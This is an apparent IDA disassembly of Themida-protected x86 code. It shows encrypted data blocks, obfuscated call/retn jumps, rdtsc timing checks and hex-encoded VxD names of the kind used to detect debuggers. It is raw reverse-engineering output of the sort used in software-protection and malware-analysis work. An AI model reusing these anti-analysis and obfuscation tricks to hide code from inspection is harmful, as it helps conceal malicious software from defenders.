dd 5F33B2F6h, 15EFFEBAh, 2C35C6F4h, 0D9DDh, 50BD3B00h
dd 4C807445h, 635EABA2h, 0EBEA2E9Fh, 19FCCF67h, 3643C394h
dd 0DA2FD81Bh, 79031BEFh, 7B8D78E2h, 0FA72F84Ch, 3C6BE18Eh
dd 2BC53901h, 0D6C42D41h, 41B94260h, 0E1E5099Bh, 663A60F4h
dd 2571F21Ch, 8C1ECC57h, 60F46C18h, 2E9FE33Ah, 0AF41EFE6h
dd 6D642507h, 0EDC2644h, 140211FCh, 2D03F8A1h, 0EC50B408h
dd 78BE6FA8h, 0C883D1F6h, 0EAD52F1Eh, 0B9849C09h, 6FFA8FAEh
dd 0FC0428Ch, 1D5h, 6EF5CCD6h, 985B7681h, 362D1C6Fh, 61F2C1D9h
dd 92417C84h, 0DB213C23h, 898E7FE4h, 367EAFB4h, 0DE2BC41Fh
dd 618B70E3h, 9A70B9CDh, 0D9BF0EC5h, 71FBDADEh, 0A8467384h
dd 0F8D5DECFh, 9D798372h, 2601EF8Bh, 0BD0165A3h, 0B834AF59h
dd 0B7C2862Eh, 7D45C394h, 0D5DE6DD3h, 50A514F8h, 0DCA0FE65h
dd 80119547h, 0ADBD9F21h, 0A286BBC0h, 0EF7616DEh, 0F1A33A60h
dd 0FEED1CF4h, 6CD32C34h, 56B83604h, 0F075E46h, 0A24363DDh
dd 729FB14Eh, 37ABB81Dh, 604019h, 2DD80000h, 0DB41EFDAh
dd 76800D6Fh, 941D8AFEh, 2D251DC3h, 0C3941D59h, 6AF0D42Eh
dd 0B5536EBBh, 0D02AB33Bh, 0E4034260h, 0B33B0AB6h, 3A605AD7h
dd 0FAD56258h, 829861D2h, 7BEB5FB3h, 3A60420Bh, 41CBDADEh
dd 6C804354h, 3A604218h, 88B7ABEFh, 0A403FDB9h, 0D34DFB5Bh
dd 2C35E73Ah, 2417h, 26A7F100h, 18C3941Dh, 0F96DFF84h
dd 0BD9F0B20h, 5A2E46D0h, 2D3A60D0h, 5A702AD5h, 6DBB265Ch
dd 0E57E44C3h, 760D6F1Fh, 51AB5AE4h, 4D34C06Eh, 22BD9F24h
dd 8CFC74D8h, 593A60E9h, 99C64A5Bh, 5C6BEA41h, 5A9B34Bh
dd 3A601B41h, 0E852FCC6h, 2C341341h, 3168h, 0E4768000h
dd 60130440h, 0BFB78B3Ah, 3A6013CBh, 0EB92B91Ch, 522D02C6h
dd 0B994E168h, 0E157F1D5h, 941D27A7h, 0FE8517C3h, 0B21F86Ch
dd 44BEBD9Fh, 0D6F799Fh, 0EA39E476h, 201D66D7h, 0A8C06406h
dd 27BD99DFh, 75BE6FD3h, 196A9B58h, 0B88582Ch, 0B365F551h
dd 72876C79h, 26739C47h, 0EF9AC12Bh, 0E293BD16h, 93C48024h
dd 774B12F4h, 6E5BAA13h, 99E148C0h, 692BD6BAh, 5762B75Ch
dd 3B16638Ch, 3F057h, 84180000h, 0FDD4DE9Ch, 7A57A009h
dd 0E6D12796h, 6F52AB12h, 0D7EE329Bh, 5F66BA63h, 0C5FC02EBh
dd 40798871h, 0CFFA0DFCh, 8957CF7Bh, 4C781E7h, 83000000h
dd 3C8704EFh, 24248B24h, 747368h, 243C8900h, 81E68956h
dd 4C6h, 4EE8100h, 87000000h, 895C2434h, 0BE56241Ch, 2A756D36h
dd 0EEC1D6F7h, 0EEC14E07h, 67BA5203h, 31063B32h, 0F7895AD6h
dd 682B685Eh, 24890000h, 24048124h, 4, 4EC815Bh, 89000000h
dd 438F243Ch, 2434FF08h, 4C4815Bh, 8B000000h
; ---------------------------------------------------------------------------
cmp al, 24h
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp+0]
pop esp
jmp loc_543FDB
; ---------------------------------------------------------------------------
dw 0C066h
dd 0A9359522h, 8F4D8916h
db 0C0h, 75h
; ---------------------------------------------------------------------------
loc_57303E: ; CODE XREF: sub_570F13:loc_571090j
mov eax, 60E6F02h
add eax, ebp
jmp eax
sub_570F13 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0F2h
dd 0EA2D9574h, 920F9A25h, 9C3D2625h, 20661F33h, 7A0672ADh
dd 3375D8E3h, 0BB128B54h, 2731FB49h, 466646ADh, 0FC694108h
dd 0B330CFB7h, 0EB734B1Eh, 4A2AD999h, 1F15CE50h, 302E7BC8h
dd 0E857D206h, 0Ah, 0FA809F83h, 7218B42h, 0CCB9348Bh, 587E034Bh
dd 0DE996AB9h, 26C08136h, 0BF000063h, 189Dh, 0BE9h, 0E431D100h
dd 3E41353Dh, 706DBC21h, 0BA66308Bh, 0C681CD0Dh, 27494D2Fh
dd 12E9h, 3ABD2900h, 0DDEF7D57h, 5C1B1CDCh, 6CA522B0h
dd 8104D410h, 375B3DEEh, 0EE828h, 0AE230000h, 4CE839B8h
dd 0A1F4411h, 83ADDE63h, 815BC3B2h, 630EDEF6h, 89D88A79h
dd 15BBA30h, 0E8835424h, 0DE8B6604h, 0D850F4Fh, 8B000000h
dd 24E9D8h, 1C0E0000h, 0A22D29ADh, 0EE9h, 5F2A1700h, 407AA748h
dd 0C16A8824h, 0E9AC73B6h, 0FFFFFF80h, 8A8E19A5h, 34EB9B5Bh
dd 4D534649h, 20205247h, 20444B56h, 20202020h, 204D4D56h
dd 20202020h, 4E495756h, 20203233h, 4C445856h, 20205244h
dd 3 dup(0)
; ---------------------------------------------------------------------------
jmp loc_573988
; ---------------------------------------------------------------------------
clc
pusha
jz loc_5731A4
jle loc_5731A4
jmp loc_5731A4
; ---------------------------------------------------------------------------
dd 928F2FE5h, 1DECAE0Fh, 53185641h, 0FC221182h, 40A73ECFh
; ---------------------------------------------------------------------------
loc_5731A4: ; CODE XREF: Themida_:0057317Fj
; Themida_:00573185j ...
jno loc_5731B7
pusha
jns $+6
mov ecx, 77C7F964h
popa
loc_5731B7: ; CODE XREF: Themida_:loc_5731A4j
mov dword ptr [ebp+60E70C8h], 0
jge loc_5731E0
jmp loc_5731E0
; ---------------------------------------------------------------------------
dd 0E5CE52EDh, 51A59968h, 0F7625DE4h, 4DC37C37h, 64DE0831h
; ---------------------------------------------------------------------------
loc_5731E0: ; CODE XREF: Themida_:005731C1j
; Themida_:005731C7j
mov eax, esi
push 0
push ebx
call sub_5731ED
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5731ED proc near ; CODE XREF: Themida_:005731E5p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 14h
inc ebx
push ebx
retn
sub_5731ED endp
; ---------------------------------------------------------------------------
db 0BFh, 0Fh, 0B7h
; ---------------------------------------------------------------------------
fsubr dword ptr [edx+0]
push edx
call sub_57320C
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57320C proc near ; CODE XREF: Themida_:00573204p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 14h
inc edx
push edx
retn
sub_57320C endp
; ---------------------------------------------------------------------------
dd 8A0FF51Fh, 13h, 0D890Fh, 8E90000h, 68000000h, 5A2A1807h
dd 0C19D0021h, 9E910E8h, 0A4000000h, 2375ACBFh, 5E42BFDAh
dd 19800Fh, 14E90000h, 0AC000000h, 0BFDA2375h, 68685E42h
dd 0C368EFC2h, 3602CC19h, 66692F6Fh, 6A08C8C1h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h
dd 77FDC355h, 4E005C4Bh, 2F018F74h, 56E7B960h, 8961224Dh
dd 0E70CC85h, 81F86006h, 9DC0CACAh, 8E0F6134h, 7, 1810Fh
dd 66FC0000h, 6A08CBC1h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 1D042444h, 41000000h, 6D29C351h, 4AA5783Bh
dd 0A954989h, 0B10BBF60h, 816671CEh, 6153B3D9h, 0F40FB83h
dd 2D85h, 0BD8DF900h, 60E70A0h, 58D0Fh, 66600000h, 0E961FA8Bh
dd 1AEh, 0F8B0FFCh, 0E9000000h, 0Ah, 6A184759h, 20D698B1h
dd 0FB835634h, 55850F0Dh, 6A000000h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 0FDD6C353h
dd 98D0Fh, 53600000h, 1CF6BF59h, 8D614021h, 0E70A8BDh
dd 0B8D0F06h, 0E9000000h, 6, 0F8466B05h, 47E9F878h, 0E9000001h
dd 8, 0BB35AF54h, 9B8C9911h, 0F01FB83h, 7185h, 8E900h
dd 0BF490000h, 671DA23Bh, 0BD8D5F91h, 60E70B0h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 5CC35646h, 0FBE9FCF5h
dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 14042444h, 45000000h, 0FFEC355h, 1986h, 14E900h, 58A40000h
dd 0C247B3B8h, 41841A64h, 0BA479BFFh, 653F91C7h, 0FB83E95Eh
dd 6C850F2Ah, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 1C042444h, 43000000h, 0F136C353h, 73E03115h
dd 60233196h, 0FDB8166h, 0FAB70F9Eh, 0BD8DF861h, 60E70B8h
dd 0FE9F5h, 21AE0000h, 3FA1710Ch, 8E885F5h, 0E789A0BFh
dd 68E90Ah, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 150424h, 52420000h, 83F559C3h, 850F27FBh, 30Fh, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 14C35343h, 33C244FEh
dd 0FDE1D83h, 884h, 0D08B6000h, 0BEE3BE66h, 0C0BD8D61h
dd 60060E70h, 0FCA8B66h, 8Ah, 0BD896100h, 60E70D0h, 14850Fh
dd 0FE90000h, 0CB000000h, 38333106h, 3F8FF292h, 0BCC13093h
dd 8C668B0Dh, 55006AC8h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1B04h, 0C3554500h, 0BFF09E95h, 185E7218h, 10E9h, 0D976FC00h
dd 0D200304Ch, 84DDA731h, 776EC1F2h, 6A032402h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h
dd 0DCEC355h, 0DCE5FA75h, 0F820F04h, 60000000h, 6E962B2h
dd 53000000h, 6C88FC5h, 0C00A61E0h, 177850Fh, 0BE90000h
dd 0B3000000h, 88D87BE5h, 0ECE0E4DEh, 0B58D098Fh, 60E7768h
dd 0CE960h, 64AE0000h, 8AE092C6h, 3AAD1F1Dh, 56579CA7h
dd 8B615E58h, 0E782F85h, 10E86006h, 0E000000h, 41B95016h
dd 2CBE45DAh, 729D8C1Bh, 8BDD7211h, 0C88159D7h, 76025AEAh
dd 57609261h, 535ABDB4h, 12E9h, 9EED7300h, 59960B18h, 434644F2h
dd 0D66AB7EEh, 5EF64F42h, 10E95061h, 8000000h, 2FF44518h
dd 863B23E4h, 5F6EB957h, 9203326Ch, 0D0B0F560h, 4C010F61h
dd 8F0FFE24h, 9, 66616060h, 47A7C981h, 6A5A61h, 3E852h
dd 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
dd 600813C3h, 26F7CBD1h, 1840F71h, 0F5000000h, 24C283F5h
dd 0FE9h, 0A7485F00h, 8824407Ah, 73B6C16Ah, 6763C9ACh
dd 0C890Fh, 8E0F0000h, 6, 8F0Fh, 89660000h, 6AFC72h, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
dd 0DA1052C3h, 60E9D1AEh, 0D13BBB66h, 0F4A602BFh, 0C1F5612Ah
dd 0F6010CEh, 18Fh, 61F8FC00h, 2728966h, 9E9h, 14447800h
dd 4640CC97h, 4CD8537h, 18E0FF8h, 0F9000000h, 0B1E9h, 55006A00h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h
dd 0F8C4BA72h, 2F858BD6h, 6A060E78h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 1500C357h
dd 18F78060h, 3EB8166h, 666061D2h, 0F5DF6CB8h, 68B58D61h
dd 6A060E77h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 18042444h, 47000000h, 73F1C357h, 0E90874D1h, 6, 1963BB2Fh
dd 858D3C2Ch, 60E4D7Eh, 85BE6660h, 0D0FF6178h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0D5C35343h, 8589F9F9h
dd 60E70C8h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 1Bh, 0EDC35343h, 37113154h, 61431866h, 0E850006Ah, 3
dd 58C35820h, 4244489h, 4244481h, 1Bh, 9AC35040h, 400BD282h
dd 0FD432CFh, 1A86h, 148D0F00h, 0E9000000h, 0Fh, 0C7DB57E8h
dd 16142A8h, 75C32409h, 8B2D0E50h, 0E70C885h, 820F6006h
dd 16h, 10E8h, 0B6797700h, 0D7A6275Bh, 0BAE3F8E7h, 0F31ACD6Bh
dd 8B665806h, 0E9C361F0h, 11h, 0C3F1DCA0h, 0F8D29130h
dd 89A73A4h, 76C219E1h, 18C0F57h, 0F9000000h, 8B0F6060h
dd 2, 5E9F08Bh, 3000000h, 48E3A63Bh, 2FBD8361h, 60E78h
dd 8E850Fh, 0E8600000h, 6, 763AD26Bh, 8B0FE6FFh, 0
dd 0EE85Ah, 0EF960000h, 0FA118AFCh, 8D6D5379h, 3EF9ACC3h
dd 5EC8BF0Fh, 85C7F861h, 60E782Fh, 1013Fh, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 79C35747h, 0A8C983FFh
dd 730F2D04h, 7E960h, 1C3E0000h, 520168FDh, 0BE81Ah, 90150000h
dd 87101576h, 0A502D5FEh, 0FE98Ch, 4F760000h, 925D145Ah
dd 0BD3C6A25h, 0D126D72Fh, 0FC615891h, 10E9h, 0A890F00h
dd 0E9000000h, 5, 72A9C942h, 20CD45h, 0B000000h, 8D3774C0h
dd 0BD8B0C70h, 60E70D0h, 8B9h, 2275A600h, 8BFA7549h, 9D8B3048h
dd 60E70CCh, 7F34583Bh, 6BD38B15h, 0CA0304D2h, 8589018Bh
dd 60E70C8h, 8B04EBh, 8B61C5EBh, 0E70C885h, 6ACF06h, 3E851h
dd 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
dd 1B24A1C3h, 880FBBC4h, 0Eh, 9E9h, 49A11300h, 48AA617Dh
dd 8F0F1F08h, 7, 18A0Fh, 6AF80000h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 4743C356h
dd 8B0F5052h, 8, 0CFB70F60h, 61BAEF80h
; ---------------------------------------------------------------------------
loc_573988: ; CODE XREF: Themida_:00573178j
mov eax, eax
jmp loc_573D8F
; ---------------------------------------------------------------------------
align 10h
dd 33000000h, 69206E41h, 7265746Eh, 206C616Eh, 65637865h
dd 6F697470h, 636F206Eh, 65727563h, 41282064h, 65726464h
dd 203A7373h, 78257830h, 500D0A29h, 7361656Ch, 63202C65h
dd 61746E6Fh, 73207463h, 6F707075h, 6F407472h, 6E616572h
dd 6F632E73h, 54202E6Dh, 6B6E6168h, 756F7920h, 21h, 0E3h dup(0)
dd 56000000h, 45000000h, 0
db 3 dup(0)
; ---------------------------------------------------------------------------
loc_573D8F: ; CODE XREF: Themida_:0057398Aj
jmp loc_574FC3
; ---------------------------------------------------------------------------
push 0
push ecx
call sub_573D9F
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_573D9F proc near ; CODE XREF: Themida_:00573D97p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Ah
inc ecx
push ecx
retn
sub_573D9F endp
; ---------------------------------------------------------------------------
db 5
dd 7E3C7D92h, 8D8904EEh, 60B212Dh, 194D858Bh, 6A060Bh
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
dd 1AA3FFC3h, 25BD8969h, 0F9060B0Dh, 9E9h, 79A00F00h, 0F618C359h
dd 4439B1D3h, 850F0424h, 0A5h, 0E599D89h, 0BD83060Bh, 60B0DB1h
dd 92840F00h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 18042444h, 43000000h, 0C1FC353h, 602A9497h
dd 0FDA8B60h, 8Bh, 6E96100h, 0DA000000h, 70AC4C15h, 858D614Bh
dd 60B390Dh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 1Bh, 0C5C35141h, 0BEFB35EFh, 0FF43DC0Ah, 50006AE0h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h
dd 0EE921B1h, 0F6000000h, 0E0963092h, 0FBEEFFAEh, 6DA4F279h
dd 15858B88h, 6A060B03h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 17042444h, 46000000h, 74AEC356h, 4439642Fh
dd 850F0424h, 0Ch, 0E785C7F5h, 1060E7Ch, 0F5000000h, 51006A60h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h
dd 0CE92778h, 32000000h, 0DF1F7FFCh, 79D5EFE5h, 0E95D4744h
dd 28h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h
dd 7AC35141h, 0B5296C01h, 60B3319h, 0
dd 1B8h
db 0
; ---------------------------------------------------------------------------
loc_573F41: ; CODE XREF: Themida_:00573F49j
xchg eax, [ebp+60E7E94h]
or eax, eax
jnz short loc_573F41
push dword ptr [ebp+60B2845h]
pop dword ptr [ebp+60E7CDFh]
push 20h
push 0FFFFFFFFh
call dword ptr [ebp+60B1BBDh]
cmp dword ptr [ebp+60B2301h], 0
jz short loc_573F72
push 0
call dword ptr [ebp+60B32DDh]
loc_573F72: ; CODE XREF: Themida_:00573F68j
cmp dword ptr [ebp+60B1611h], 1
jz short loc_573F88
push 80h
push 0FFFFFFFFh
call dword ptr [ebp+60B1BBDh]
loc_573F88: ; CODE XREF: Themida_:00573F79j
pusha
movzx eax, bx
call sub_573F9F
mov edi, 5FBA6FDBh
pop eax
sub eax, 787A6F1Bh
dec edx
; ---------------------------------------------------------------------------
db 6Eh, 0AAh
; =============== S U B R O U T I N E =======================================
sub_573F9F proc near ; CODE XREF: Themida_:00573F8Cp
arg_48 = dword ptr 4Ch
mov ebx, [ebp+60B0C05h]
pop esi
popa
jmp loc_573FBE
; ---------------------------------------------------------------------------
dd 38137D73h, 1C566DF2h, 28034F95h, 6F762ABCh
db 0EFh, 0BFh
; ---------------------------------------------------------------------------
loc_573FBE: ; CODE XREF: sub_573F9F+8j
mov eax, 0
jns loc_573FCF
xor [ebp+60B0F59h], edx
loc_573FCF: ; CODE XREF: sub_573F9F+24j
mov edx, [esp-24h+arg_48]
add [ebp+60B32E5h], edx
mov [ebp+60B05E9h], eax
pusha
jz loc_573FE8
push ecx
pop edi
loc_573FE8: ; CODE XREF: sub_573F9F+41j
mov [ebp+60B193Dh], ecx
popa
mov esi, 3Ch
push 0
push esi
call sub_573FFF
and [esi-3Dh], bl
sub_573F9F endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_573FFF proc near ; CODE XREF: sub_573F9F+58p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Dh
inc esi
push esi
retn
sub_573FFF endp
; ---------------------------------------------------------------------------
popa
push 0D1A0F775h
mov ecx, [esi]
jbe short loc_574084
mov [ebp+60B3211h], ebx
add esi, [esp+24h]
sub [ebp+60B2359h], ebx
lodsw
xor [ebp+60B335Dh], eax
add eax, [esp+24h]
jmp loc_57404E
; ---------------------------------------------------------------------------
dw 66EBh
dd 8CD936F4h, 429F355Bh, 0EB23947Eh, 4929611Ah
db 0F5h, 0EFh
; ---------------------------------------------------------------------------
loc_57404E: ; CODE XREF: Themida_:00574035j
nop
pusha
mov esi, 4AFB4811h
popa
push eax
jmp loc_574067 ; CODE XREF: Themida_:005740CAj
; ---------------------------------------------------------------------------
dd 96A9B5B3h, 5886D2DFh
db 7Ah, 3Bh, 0DFh
; ---------------------------------------------------------------------------
loc_574067: ; CODE XREF: Themida_:00574057j
nop
push 0
push edi
call sub_574073
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_574073 proc near ; CODE XREF: Themida_:0057406Bp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 18h
inc edi
push edi
retn
sub_574073 endp
; ---------------------------------------------------------------------------
db 36h
; ---------------------------------------------------------------------------
loc_574084: ; CODE XREF: Themida_:00574017j
lahf
pop ebp
mov ebx, 78408BB9h
mov [ebp+60B2061h], esi
cmc
cmp dword ptr [ebp+60E7CE7h], 0
jnz loc_5741C1
jle loc_5740AB
sub [ebp+60B32B9h], edx
loc_5740AB: ; CODE XREF: Themida_:0057409Fj
nop
jbe loc_5740BA
jns loc_5740BA
pusha
popa
loc_5740BA: ; CODE XREF: Themida_:005740ACj
; Themida_:005740B2j
push eax
push eax
push edx
pusha
mov eax, 2A8F005h
call sub_5740D5
stosb
dec ecx
jo short near ptr loc_574057+3
inc ebx
mul byte ptr [esi+esi*2]
mov cl, 0CCh
fisub dword ptr [edx-22h]
; =============== S U B R O U T I N E =======================================
sub_5740D5 proc near ; CODE XREF: Themida_:005740C3p
pop ecx
popa
rdtsc
jmp loc_5740E3
; ---------------------------------------------------------------------------
dw 80FFh
; ---------------------------------------------------------------------------
sbb ch, [eax+44h]
loc_5740E3: ; CODE XREF: sub_5740D5+4j
pop edx
pop eax
nop
push 0
push ecx
call sub_5740F1
and [ecx-3Dh], bl
sub_5740D5 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5740F1 proc near ; CODE XREF: sub_5740D5+14p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 18h
inc ecx
push ecx
retn
sub_5740F1 endp
; ---------------------------------------------------------------------------
db 8Dh, 20h, 5
dd 0BD01FF24h, 60B2711h, 2C24448Bh, 8E860h, 0C7BB0000h
dd 0B0E3CEC8h, 0AE9D5A3h, 8B000000h, 582FF72h, 21CED6CEh
dd 13E95AACh, 53000000h, 364B4158h, 676DDD46h, 754C6C61h
dd 8E1694C3h, 50619B09h, 11E9h, 34B1C00h, 60E13144h, 88CCDF70h
dd 0F509CA2h, 4897B7Ch, 8E924h, 158C0000h, 0B8C7EB2Eh
dd 858DC5E8h, 60E4E0Fh, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 18h, 2AC35141h, 0DCF5A4FAh, 0A878BF60h, 61F835CDh
dd 6AD0FFh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h
dd 51410000h, 52ECF5C3h, 75034A97h
; ---------------------------------------------------------------------------
cmc
loc_5741C1: ; CODE XREF: Themida_:00574099j
add eax, [esp+28h]
sub [ebp+60B3309h], ebx
jmp loc_5741E0
; ---------------------------------------------------------------------------
inc edx
retn 35D1h
; ---------------------------------------------------------------------------
dd 0B6BCB4CDh, 0A8B36B80h, 0B84584DEh
; ---------------------------------------------------------------------------
loc_5741E0: ; CODE XREF: Themida_:005741CBj
mov eax, [eax+18h]
mov [ebp+60B0095h], ebx
inc eax
push 0
push ecx
call sub_5741F5
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5741F5 proc near ; CODE XREF: Themida_:005741EDp
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 18h
inc ecx
push ecx
retn
sub_5741F5 endp
; ---------------------------------------------------------------------------
db 56h, 0B9h, 1Fh
dd 11E9C769h, 0CB000000h, 0E6CABA60h, 88467B3Bh, 7B4077ECh
dd 0D9A7FDD5h, 7CE38589h, 9589060Eh, 60B2819h, 0F6058F8h
dd 0B509C6B7h, 60B2B71h, 78708B61h, 1CC683F9h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 8FC35242h, 3C91721Dh
dd 20219D01h, 6A96060Bh, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 18042444h, 45000000h, 0DD7FC355h, 60A8C02Ch
dd 31299529h, 0FE8060Bh, 2A000000h, 0FB88CB74h, 920B3403h
dd 885CD333h, 0B5091B52h, 60B2B29h, 7C816158h, 2424h, 870F1000h
dd 0DBh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 1Ah, 42C35646h, 0E60E7BC3h, 50F81067h, 61606060h, 0F615952h
dd 80h, 4896100h, 0CB806024h, 0DE8166F1h, 8B61AC5Eh, 6A282444h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 14042444h
dd 41000000h, 6094C351h, 2A759D89h, 9E9060Bh, 77000000h
dd 53D2BA18h, 0A089139Ch, 820F9061h, 0Bh, 6E9h, 9B774D00h
dd 5067735Fh, 128F0Fh, 52500000h, 310F5250h, 310F585Ah
dd 310F5250h, 585A585Ah, 6D9D3190h, 8D060B16h, 0E4E0F85h
dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h
dd 0C3534300h, 0A8A0D823h, 6660D0FFh, 0E95FCA81h, 1659958Bh
dd 9661060Bh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 19h, 4C35040h, 0C7C0B122h, 7403F8B7h, 810F2424h, 6
dd 3299529h, 0BD8D060Bh, 60B242Dh, 13E9h, 0FFC73800h, 0FC0EF1C1h
dd 0F9D37EBBh, 35AE768Bh, 3C648C74h, 6870Fh, 95890000h
dd 60B33A5h, 51006AADh, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1504h, 0C3514100h, 6E9C3DBh, 0BD000000h, 3A53F022h
dd 247C818Dh, 24h, 1C870F10h, 0F000001h, 682h, 45852900h
dd 0F060B19h, 0D8Ch, 9D8B6000h, 60B1965h, 9A0E1ABFh, 50506125h
dd 8B666052h, 61C18BC6h, 5060310Fh, 5A310F52h, 585A6158h
dd 0E9240489h, 5, 0ACCD3D6Ch, 24448B63h, 56006A28h, 3E8h
dd 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h
dd 2FBD90Fh, 4F5E135Bh, 90FC82B2h, 61605260h, 4254BF5Eh
dd 50617893h, 0DF8B6660h, 0F028BB66h, 6A9061h, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
dd 0A7A984C3h, 62AFABC5h, 6E9B821h, 0FC000000h, 0DF9D3384h
dd 858DF9D3h, 60E4E0Fh, 1958B60h, 0E9060B0Eh, 0Eh, 0DEBB9C7Bh
dd 6376F6B5h, 0A740732Ah, 0FF61A962h, 57006AD0h, 3E8h
dd 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h
dd 13E9977Ch, 58000000h, 0F694E312h, 17049A77h, 48BBC66Fh
dd 11377253h, 0CE9659Dh, 69000000h, 0A69D586Fh, 87FEA92Dh
dd 38E298Ch, 6A242444h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 17042444h, 45000000h, 0D1EEC355h, 0B5312AA9h
dd 60B06B5h, 858B60ABh, 60B0C8Dh, 6850Fh, 0BD8B0000h, 60B01D1h
dd 0FA8161h, 0F000100h, 80882h, 0B5953100h, 8D060B18h
dd 0B0535BDh, 0AE906h, 0D94A0000h, 4FFCA228h, 0CA5BFB00h
dd 50006AADh, 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h
dd 0C3504000h, 0AF535337h, 21BD317Ah, 89060B15h, 0B29E585h
dd 0F1B58906h, 81060B30h, 24247Ch, 0F100000h, 11B87h, 52006A00h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h
dd 14398CF7h, 810F30CAh, 1Bh, 15850Fh, 10E90000h, 3D000000h
dd 0DDAF2CD2h, 0D99A4A1Ch, 30CB3C18h, 5090D789h, 138D0Fh
dd 0EE90000h, 3A000000h, 343C93EBh, 6D01DDD2h, 2039C0A3h
dd 24048931h, 599D29F8h, 8B060B0Fh, 6A282444h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
dd 2470C357h, 83D46D38h, 7429224Ch, 94BF6660h, 60506108h
dd 6744ABB9h, 1BBF6677h, 48961E1h, 56006A24h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1C04h, 0C3564600h, 318E0E73h
dd 9C8FD90Bh, 68B0F8Fh, 9000000h, 0B187985h, 0BD296006h
dd 60B28CDh, 29CD8D23h, 8D61060Bh, 0E4E0F85h, 55006A06h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h
dd 89F1080Ah, 0B09859Dh, 0F5B50906h, 0FF060B18h, 1810FD0h
dd 0F8000000h, 24244403h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 14h, 51C35040h, 1840Fh, 50F50000h, 0D810Fh
dd 8E90000h, 0C9000000h, 95CDFCE8h, 897DD836h, 6A2404h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
dd 0C97F56C3h, 8840Fh, 8C0F0000h, 2, 89AB6160h, 0B26E1BDh
dd 89BD8D06h, 0F060B28h, 1987h, 13880F00h, 0E9000000h
dd 0Eh, 56B66A17h, 0D7A8E2B7h, 0B57BE0A9h, 6AAD2781h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
dd 335BC351h, 22ECE5CAh, 49850109h, 81060B0Fh, 28247Ch
dd 0F100000h, 11687h, 359D8900h, 90060B10h, 50D88B60h
dd 8A310F52h, 61585ACEh, 10E950h, 0E52F0000h, 5427693Fh
dd 53DF443h, 2B8CC93Fh, 0F90AD26h, 0A8Fh, 858B6000h, 60B0CC9h
